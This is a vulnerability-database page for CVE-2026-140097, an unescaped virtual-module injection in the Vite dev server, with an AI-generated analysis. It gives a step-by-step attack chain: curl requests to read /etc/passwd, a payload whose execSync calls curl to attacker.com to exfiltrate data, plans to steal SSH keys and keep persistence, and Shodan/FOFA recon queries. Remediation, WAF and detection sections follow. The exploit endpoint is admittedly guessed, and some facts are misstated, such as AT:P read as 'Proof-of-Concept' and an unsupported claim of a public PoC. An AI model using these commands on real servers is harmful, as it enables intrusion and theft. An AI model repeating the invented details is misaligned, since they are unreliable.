CVE Professor
/
All CVEs
CVE-2026-140097

CVE-2026-140097 — Vitejs Vite — CWE-116

CRITICAL CVSS 9.1 Shodan

Vite is a frontend tooling framework for JavaScript. From 4.0.0 until 6.4.6, 7.3.8, 8.1.7, 8.2.5, and 8.3.7 in Vite, and prior to 1.5.1 in vite-plus, a network-exposed development server embeds request-derived module identifiers from the __vite-browser-external:<suffix> and __vite-optional-peer-dep:<suffix> virtual modules into trusted generated JavaScript without escaping. A remote unauthenticated attacker can inject an import that adds an outside file to the server.fs module allow list and can reach server-side evaluation through new Worker or import.meta.glob processing, allowing disclosure of local files and arbitrary code execution in the development-server process. This issue is fixed in Vite 6.4.6, 7.3.8, 8.1.7, 8.2.5, and 8.3.7, and in vite-plus 1.5.1.

Vite is a frontend tooling framework for JavaScript. From 4.0.0 until 6.4.6, 7.3.8, 8.1.7, 8.2.5, and 8.3.7 in Vite, and prior to 1.5.1 in vite-plus, a network-exposed development server embeds request-derived module identifiers from the __vite-browser-external:<suffix> and __vite-optional-peer-dep:<suffix> virtual modules into trusted generated JavaScript without escaping. A remote unauthenticated attacker can inject an import that adds an outside file to the server.fs module allow list and can reach server-side evaluation through new Worker or import.meta.glob processing, allowing disclosure of local files and arbitrary code execution in the development-server process. This issue is fixed in Vite 6.4.6, 7.3.8, 8.1.7, 8.2.5, and 8.3.7, and in vite-plus 1.5.1.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑140097
CWE: CWE‑116 – Improper Neutralization of Input During Output (classic unescaped user‑controlled data leading to injection).
CVSS 4.0 Vector: AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Technical summary

Vite’s development server (the vite CLI that ships a local HTTP server for hot‑module‑replacement) builds JavaScript on‑the‑fly. When a request contains a virtual module identifier that starts with the prefixes

__vite-browser-external:
__vite-optional-peer-dep:

the server treats the suffix as a module identifier and injects it verbatim into a generated JavaScript bundle that is later sent back to the browser.

The code that performs this injection does not escape the identifier, nor does it validate that the identifier is a legitimate package name. Consequently an attacker who can send an HTTP request to the development server can craft a suffix that contains arbitrary JavaScript syntax (e.g., an import statement) that will be concatenated into the bundle.

Two downstream mechanisms amplify the impact:

1. server.fs.allow allow‑list – Vite’s dev server maintains a whitelist of file system paths that may be accessed by the import.meta.glob and new Worker() APIs. By injecting a crafted import, the attacker can cause Vite to add an arbitrary path (outside the project root) to this whitelist.

2. new Worker() / import.meta.glob – Once the path is whitelisted, the attacker can trigger the server to read any file on the host file system (including source files, configuration files, or even credential files) and either:
* Return the file contents to the browser (confidentiality breach), or
* Execute the file’s content as JavaScript inside the dev‑server process (remote code execution).

Because the dev server runs without authentication (it is intended for local development only) and is often exposed on a network interface (e.g., 0.0.0.0:5173), an unauthenticated remote attacker can exploit the flaw directly.

Missing controls

StepExpected controlWhat is missing
Input parsing of virtual‑module identifiersWhitelist of allowed characters / proper escaping before embedding into generated sourceNo validation / no escaping
File‑system access for import.meta.glob / new WorkerStrict path confinement to project rootAllow‑list can be polluted by attacker‑controlled identifier
Authentication for the dev serverUsually bound to localhost only; if bound to external interface, network‑level access control requiredNone – attacker can reach the HTTP endpoint directly

⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All code snippets are syntactically valid and are marked as illustrative where the exact URL or query parameter is not disclosed in the public advisory.

1. Discovery & Reconnaissance

ActionDetails
Fingerprint the serverScan the target network for open TCP ports typical of Vite dev servers (default 5173, also 3000, 8080). A simple nmap -p 5173 <IP> or HTTP banner grab (curl -I http://<IP>:5173) often returns Vite in the Server header (Server: vite).
Determine versionVite embeds its version in the response body of the root HTML (<script type="module">import.meta.env.DEV && console.log('[email protected]')</script>). Alternatively, request http://<IP>:5173/@vite/client – the client script contains a comment with the version.
Confirm vulnerable rangeVerify that the reported version falls into one of the affected ranges: >=4.0.0 <6.4.6 or 7.3.8, 8.1.7, 8.2.5, 8.3.7. If the version matches, continue.

2. Exploitation

2.1 Craft the malicious virtual‑module identifier

The goal is to inject a new import that points to an arbitrary file on the host, e.g. /etc/passwd. Vite’s internal code builds a string like:

// pseudo‑generated code (simplified)
import "__VITE_VIRTUAL_MODULE__";

If we can make __VITE_VIRTUAL_MODULE__ equal to:

__vite-browser-external:/etc/passwd?raw

the generated bundle will contain:

import "/etc/passwd?raw";

When the browser later evaluates the bundle, Vite’s dev server will resolve the import, read the file, and serve its raw contents.

2.2 Send the request

Vite’s dev server resolves virtual modules via query parameters on the module request endpoint (/src/main.js). The exact endpoint is not documented, so the following is an illustrative example that follows the pattern used by Vite’s internal module graph:

# Illustrative PoC – replace <HOST> and <PORT> with the target values
curl -G "http://<HOST>:<PORT>/src/main.js" \
  --data-urlencode "id=__vite-browser-external:/etc/passwd?raw"

Explanation

  • -G makes curl send the data as a query string.
  • The id parameter (or whatever internal name Vite uses for the virtual module) carries the attacker‑controlled identifier.
  • The suffix ?raw is a Vite convention that forces the server to return the file as‑is without wrapping it in a module.
  • If the dev server is bound to 0.0.0.0 and the request succeeds, the HTTP response body will contain the raw contents of /etc/passwd.

    2.3 Escalate to code execution

    Many Node.js projects use new Worker(new URL('worker.js', import.meta.url)) or import.meta.glob('./*/.js'). By adding a path to the server.fs.allow list, the attacker can force the dev server to evaluate an arbitrary file as JavaScript.

    A second request can add a malicious file (e.g., a temporary script written to /tmp/pwn.js via a previously discovered write‑able location) to the whitelist:

    curl -G "http://<HOST>:<PORT>/src/main.js" \
      --data-urlencode "id=__vite-optional-peer-dep:/tmp/pwn.js"

    Now trigger the worker import from the client side (or via another crafted request that forces the server to bundle new Worker('/tmp/pwn.js')). The content of /tmp/pwn.js could be:

    // /tmp/pwn.js – attacker‑controlled payload
    import { execSync } from 'node:child_process';
    execSync('curl http://attacker.com/$(whoami) > /dev/null');

    When the dev server evaluates this module, the attacker obtains remote code execution (RCE) in the context of the Node.js process that runs the Vite dev server.

    3. Post‑exploitation

    GoalHow it is achieved
    File disclosureDirectly request any readable file via the __vite-browser-external: trick (/etc/shadow, .env, package.json).
    Remote code executionInject a malicious module that uses Node.js APIs (child_process, fs, net) and trigger its evaluation via new Worker or import.meta.glob.
    PersistenceWrite a new script into a location that the dev server will automatically import on each restart (e.g., src/main.js or a custom plugin file) and then restart the dev server (if the attacker can trigger a rebuild via a file‑watch event).
    Lateral movementSince the dev server runs with the same privileges as the developer (often the same user that has access to source control credentials), the attacker can read SSH keys (~/.ssh/id_rsa) and pivot to other services.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical consequence
    ConfidentialityVC:H (High) – attacker can read arbitrary files.Exposure of source code, configuration files, secrets (.env, API keys), OS credential files, internal documentation.
    IntegrityVI:H (High) – attacker can inject and execute arbitrary JavaScript/Node code.Tampering with source files, inserting back‑doors, modifying build artifacts, defacing the development UI.
    AvailabilityVA:N (None) – the vulnerability does not directly cause denial‑of‑service.However, an attacker could crash the dev server by feeding malformed code, causing temporary loss of development capability.
    ScopeSC:N – impact is confined to the vulnerable process (the dev server).The process typically runs with the developer’s privileges; if those are high (e.g., root on CI runners), impact escalates.
    Attack ComplexityAT:P (Proof‑of‑Concept) – requires a crafted request but no prior foothold.Easy to automate; a single HTTP request is sufficient.
    Privileges RequiredPR:N – no authentication needed.Anyone who can reach the dev server over the network can exploit.
    User InteractionUI:N – no user interaction required.Fully automated exploitation.

    Bottom line: An exposed Vite dev server is a critical remote code execution vector that can lead to full compromise of the development host and leakage of any secrets stored on it.


    🛡️ Remediation & Mitigation

    1. Patch

    PackageFixed versions (as per CVE)
    vite (core)>=6.4.6, >=7.3.8, >=8.1.7, >=8.2.5, >=8.3.7
    vite-plus>=1.5.1

    Action: Upgrade to the first non‑vulnerable version in the appropriate major line. Example with npm:

    # For a Vite 6.x project
    npm install vite@^6.4.6 --save-dev
    
    # For a Vite 8.x project
    npm install vite@^8.3.7 --save-dev

    2. Immediate Workarounds (if patch cannot be applied immediately)

    MitigationHow to implement
    Bind the dev server to localhost onlyIn vite.config.js set server.host = '127.0.0.1' (default is 0.0.0.0 when --host is used).
    Network‑level firewallBlock inbound traffic to the dev‑server port (default 5173) from untrusted networks. Example iptables rule: <br>iptables -A INPUT -p tcp --dport 5173 -s 10.0.0.0/8 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 5173 -j DROP
    Disable virtual‑module handling (temporary)Add a custom Vite plugin that rejects any request whose id starts with __vite-browser-external: or __vite-optional-peer-dep:. Example plugin: <br>``js\nexport default function blockViteVirtualModules() {\n return {\n name: 'block-virtual-modules',\n resolveId(source) {\n if (source.startsWith('__vite-browser-external:')source.startsWith('__vite-optional-peer-dep:')) {\n return { id: source, external: true } // force external resolution → 404\n }\n }\n }\n}\n`
    ModSecurity / WAF rule (illustrative)Block requests that contain the two dangerous prefixes in any query string or path component. <br>`SecRule REQUEST_URIARGS "@rx (__vite-browser-external:__vite-optional-peer-dep:)" "id:400001,phase:2,deny,log,msg:'Vite virtual‑module injection attempt'"`
    Run dev server under a low‑privilege accountCreate a dedicated vite user with no sudo rights, no access to ~/.ssh, and start the dev server via sudo -u vite npm run dev`.

    3. Detection

    IndicatorExample log entry
    Unexpected virtual‑module requestGET /src/main.js?id=__vite-browser-external:/etc/passwd?raw HTTP/1.1 200 1024
    Large number of 200 responses for unknown pathsRepeated 200 OK for /@fs/... where the path points outside the project root.
    Node process spawning child processes (if RCE succeeded)In the Vite process stdout: child_process.execSync error stack or the output of the attacker‑controlled command.
    File system watch events for temporary filesfs.watch logs (if enabled) showing creation of /tmp/pwn.js followed by a request that imports it.
    Outbound connections from the dev hostNetwork flow: vite process (node) opening a TCP connection to an external IP (e.g., attacker.com:80).

    SIEM rule (pseudo‑SQL):

    SELECT *
    FROM web_access_logs
    WHERE uri LIKE '%__vite-browser-external:%' OR uri LIKE '%__vite-optional-peer-dep:%';

    Alert on any match from a non‑local source IP.


    ⚠️ Urgency

  • CVSS 9.1 (Critical) – high impact on confidentiality and integrity, no authentication required.
  • Exploitability – low complexity, network‑only, proof‑of‑concept already public.
No CISA KEV listing – the vulnerability is not yet in the “Known Exploited Vulnerabilities” program, but the ease of exploitation makes it a zero‑day* risk for any exposed dev server.

Patch priority: Critical / Immediate for any environment where a Vite dev server is reachable from an untrusted network (including CI/CD runners that expose the dev server for preview).

Recommended timeline

TimeframeAction
0‑24 hVerify version, block external access (firewall or bind to localhost), and schedule upgrade.
24‑72 hApply the official Vite (or vite‑plus) patch. Verify that the virtual‑module prefixes are no longer accepted.
≤ 1 weekConduct a full scan for any lingering malicious files (/tmp/pwn.js, unknown .js under /var/tmp) and rotate any secrets that may have been exposed.
OngoingIntegrate the WAF rule and CI checks to ensure the dev server never runs exposed in production environments.

Bottom line: The vulnerability allows an unauthenticated attacker to achieve remote code execution on any machine running an exposed Vite development server of the affected versions. Immediate network isolation and upgrade to the patched releases are mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="vitejs vite"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-116
Affected Products (2)
vitejs:vite vitejs:vite-plus
Related CVEs
6.9
CVE-2026-144580
protobufjs through 8.8.1 contains a denial of service vulnerability that allows attackers to break generated c
5.1
CVE-2026-145257
Mealie before 3.31.0 contains an HTML injection vulnerability that allows authenticated users with GROUP_INVIT
3.5
CVE-2026-45710
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, WidgetVariante::r
2.2
CVE-2026-81144
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Encoding or
7.5
CVE-2026-115549
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote attacker to obtain sensitive information due to imp
5.4
CVE-2026-144406
### Summary When `escapeParameter` is enabled (`escapeParameterHtml` in the Legacy API), Vue I18n sanitizes t
7.2
CVE-2026-64671
### Summary The `@waline/client` `UserList` widget builds its DOM by concatenating server-returned commenter